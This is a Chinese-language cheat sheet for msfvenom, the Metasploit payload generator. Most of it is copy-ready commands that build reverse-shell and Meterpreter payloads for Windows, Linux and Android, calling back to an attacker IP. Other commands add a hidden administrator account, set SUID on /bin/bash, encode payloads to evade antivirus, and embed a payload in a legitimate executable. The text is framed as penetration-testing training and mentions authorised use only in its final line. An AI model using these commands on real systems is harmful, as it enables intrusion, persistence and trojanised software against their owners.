一、msfvenom 简介
msfvenom 是 Metasploit Framework 提供的一个强大的 payload 生成工具,它将早期的 msfpayload 和 msfencode 功能合并为一个统一接口,支持生成各种平台的 payload 文件,用于渗透测试过程中的有效载荷植入、后门生成、漏洞利用链条构建等。
它支持生成多种格式的文件,例如:
-
Windows:exe、dll、ps1、vba、asp、aspx、war
-
Linux:elf、so、sh、py
-
Web:php、jsp、html
-
脚本/代码片段:c、ruby、python、powershell
msfvenom
的主要功能包括:
- 生成 Payload:支持反弹 Shell、Meterpreter 和命令执行等 Payload。
- 多平台支持:覆盖 Windows、Linux、macOS、Android 等。
- 多种输出格式:支持 EXE、DLL、ELF、SO、APK、ASP、PHP 等。
- 编码与混淆:内置编码器(如 shikata_ga_nai)以绕过反病毒检测。
- 灵活配置:通过参数自定义监听地址、端口、退出方式等。
安装与环境要求
msfvenom
随 Metasploit 框架安装,通常预装于 Kali Linux 或 Parrot Security OS。确保使用最新版本:
sudo apt update && sudo apt install metasploit-framework
msfvenom --version
运行 msfvenom -h
查看帮助信息,列出所有可用选项。
二、msfvenom 基本用法
基本命令结构如下:
msfvenom -p <PAYLOAD> LHOST=<IP> LPORT=<PORT> -f <FORMAT> -o <OUTPUT_FILE>
-p
:指定 Payload(如windows/shell_reverse_tcp
)。LHOST
:攻击者监听的 IP 地址。LPORT
:监听端口。-f
:输出格式(如exe
,dll
,elf
)。-o
:输出文件名。
示例:生成 Windows EXE 反弹 Shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o reverse_shell.exe
- 解释:
-p windows/shell_reverse_tcp
:Windows 反弹 Shell。LHOST=192.168.1.100
:攻击者 IP。LPORT=4444
:监听端口。-f exe
:EXE 格式。-o reverse_shell.exe
:输出文件名。
常用 payload/格式/编码器 查询命令
msfvenom -l payloads # 查看 payload 列表
msfvenom -l encoders # 查看编码器列表
msfvenom -l formats # 查看可用输出格式
三、Payload 生成分类
根据功能,msfvenom
的 Payload 可分为反弹 Shell、Meterpreter 和命令执行(CMD)三类(笔者个人只用到这三类)。以下为每类 Payload 在多种格式下的生成方法。
1. 反弹 Shell(Reverse Shell)
反弹 Shell 是渗透测试中的基础 payload,使目标机器主动连接攻击者的监听地址和端口,提供命令行 Shell,适合绕过防火墙。
Windows 反弹 Shell
-
EXE 格式:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o reverse_shell.exe
- 功能:运行后连接攻击者,提供 cmd.exe Shell。
-
DLL 格式:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o reverse_shell.dll
- 功能:生成 DLL,可通过
rundll32.exe
或进程注入加载。
- 功能:生成 DLL,可通过
-
ASP 格式:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f asp -o reverse_shell.asp
- 功能:用于 Windows IIS 服务器,提供 Web 端 Shell。
Linux 反弹 Shell
-
ELF 格式:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o reverse_shell.elf
- 功能:提供 /bin/sh 或 /bin/bash Shell。
-
SO 格式:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f so -o reverse_shell.so
- 功能:Linux 共享对象文件,适合动态链接库注入。
-
Raw 格式:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o reverse_shell.bin
- 功能:生成原始 Payload 数据,适合嵌入脚本。
Android 反弹 Shell
- APK 格式:
msfvenom -p android/shell/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f apk -o reverse_shell.apk
- 功能:安装后提供 Android Shell。
2. Meterpreter
Meterpreter 是 Metasploit 提供的高级后渗透 payload,支持文件操作、屏幕截图、键盘记录等,适用于深入控制目标系统。
Windows Meterpreter
-
EXE 格式:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o meterpreter.exe
- 功能:提供 Windows Meterpreter 会话。
-
DLL 格式:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o meterpreter.dll
- 功能:用于进程注入或 DLL 加载。
-
ASP 格式:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f asp -o meterpreter.asp
- 功能:用于 Web 服务器渗透。
Linux Meterpreter
-
ELF 格式:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o meterpreter.elf
- 功能:提供 Linux Meterpreter 会话。
-
SO 格式:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f so -o meterpreter.so
- 功能:用于 Linux 动态链接库注入。
-
Raw 格式:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o meterpreter.bin
- 功能:原始 Payload 数据,适合嵌入其他程序。
Android Meterpreter
- APK 格式:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f apk -o meterpreter.apk
- 功能:提供 Android Meterpreter 会话。
3. 命令执行(CMD)
命令执行 Payload 运行指定命令,适合快速执行简单任务,或者反弹shell受限的情况。
Windows 命令执行
-
EXE 格式:
msfvenom -p windows/x64/exec CMD='net user pentest Admin@123 /add && net localgroup administrators pentest /add' -f exe -o adduser.exe
- 功能:添加后门用户
pentest
并加入管理员组。
- 功能:添加后门用户
-
DLL 格式:
msfvenom -p windows/x64/exec CMD='net user pentest Admin@123 /add && net localgroup administrators pentest /add' -f dll -o adduser.dll
- 功能:同上,可通过 DLL 注入执行。
-
ASP 格式:
msfvenom -p windows/x64/exec CMD='net user pentest Admin@123 /add && net localgroup administrators pentest /add' -f asp -o adduser.asp
- 功能:用于 Web 服务器,执行用户添加命令。
Linux 命令执行
-
ELF 格式:
msfvenom -p linux/x86/exec CMD='chmod +s /bin/bash' -f elf -o chmod.elf
- 功能:为 /bin/bash 设置 SUID 权限。
-
SO 格式:
msfvenom -p linux/x86/exec CMD='chmod +s /bin/bash' -f so -o chmod.so
- 功能:同上,适合动态链接库注入。
-
Raw 格式:
msfvenom -p linux/x86/exec CMD='chmod +s /bin/bash' -f raw -o chmod.bin
- 功能:原始 Payload 数据,适合嵌入脚本。
PHP 命令执行
- PHP 格式:
msfvenom -p php/exec CMD="system('whoami');" -f raw -o cmd.php
- 功能:执行
whoami
,适合 Web 服务器。
- 功能:执行
四、常用参数选项详解
以下为 msfvenom
的常用参数,涵盖 Payload 配置、编码、格式等。
1. Payload 选择(-p
)
指定 Payload 类型,常见包括:
- 反弹 Shell:
windows/shell_reverse_tcp
,linux/x86/shell_reverse_tcp
,android/shell/reverse_tcp
。 - Meterpreter:
windows/meterpreter/reverse_tcp
,linux/x86/meterpreter/reverse_tcp
. - 命令执行:
windows/x64/exec
,linux/x86/exec
,php/exec
.
列出所有 Payload:
msfvenom -l payloads
2. 输出格式(-f
)
支持格式包括:
exe
:Windows 可执行文件。dll
:Windows 动态链接库。elf
:Linux 可执行文件。so
:Linux 共享对象文件。apk
:Android 应用程序。asp
,php
:Web 脚本。raw
:原始数据。
列出格式:
msfvenom -l formats
3. 编码器(-e
)
编码器混淆 Payload,常见编码器:
x86/shikata_ga_nai
:多态编码器,适用于 Windows。x64/zutto_dekiru
:64 位系统编码器。
示例:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded_meterpreter.exe
-e x86/shikata_ga_nai
:使用编码器。-i 5
:编码 5 次。
列出编码器:
msfvenom -l encoders
4. 退出方式(EXITFUNC
)
EXITFUNC
指定 Payload 执行后进程的退出方式,常见值:
process
:终止整个进程(默认)。thread
:终止当前线程,保持进程运行。seh
:使用结构化异常处理退出。none
:不执行退出操作。
示例:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 EXITFUNC=thread -f exe -o meterpreter_thread.exe
- 场景:
EXITFUNC=thread
适合注入到其他进程,保持宿主进程存活。
5. 自定义模板(-x
)
使用合法文件作为模板,嵌入 Payload。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -x legitimate.exe -f exe -o infected.exe
-x legitimate.exe
:使用合法 EXE 模板。
6. 架构选择(-a
)
指定目标架构:x86
, x64
。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -a x64 -f exe -o meterpreter_x64.exe
7. 其他参数
-b <BADCHARS>
:避免特定字符(如\x00
)。msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b '\x00' -f exe -o shell.exe
-k
:保持模板文件功能(与-x
结合)。--platform
:指定平台(如windows
,linux
)。-n
:添加 NOP 填充字节。-c
:指定自定义 Shellcode 文件。
总结
msfvenom
是渗透测试的强大工具,通过反弹 Shell、Meterpreter 和命令执行三类 Payload,满足多种场景需求。本文详细介绍了每类 Payload 在 EXE、DLL、ELF、SO 等格式下的生成方法,全面解析了 -p
、-f
、-e
、 EXITFUNC
等参数,结合高级技巧如编码和加密通信,提升 Payload 隐蔽性。在合法授权范围内,msfvenom
是红队测试的利器。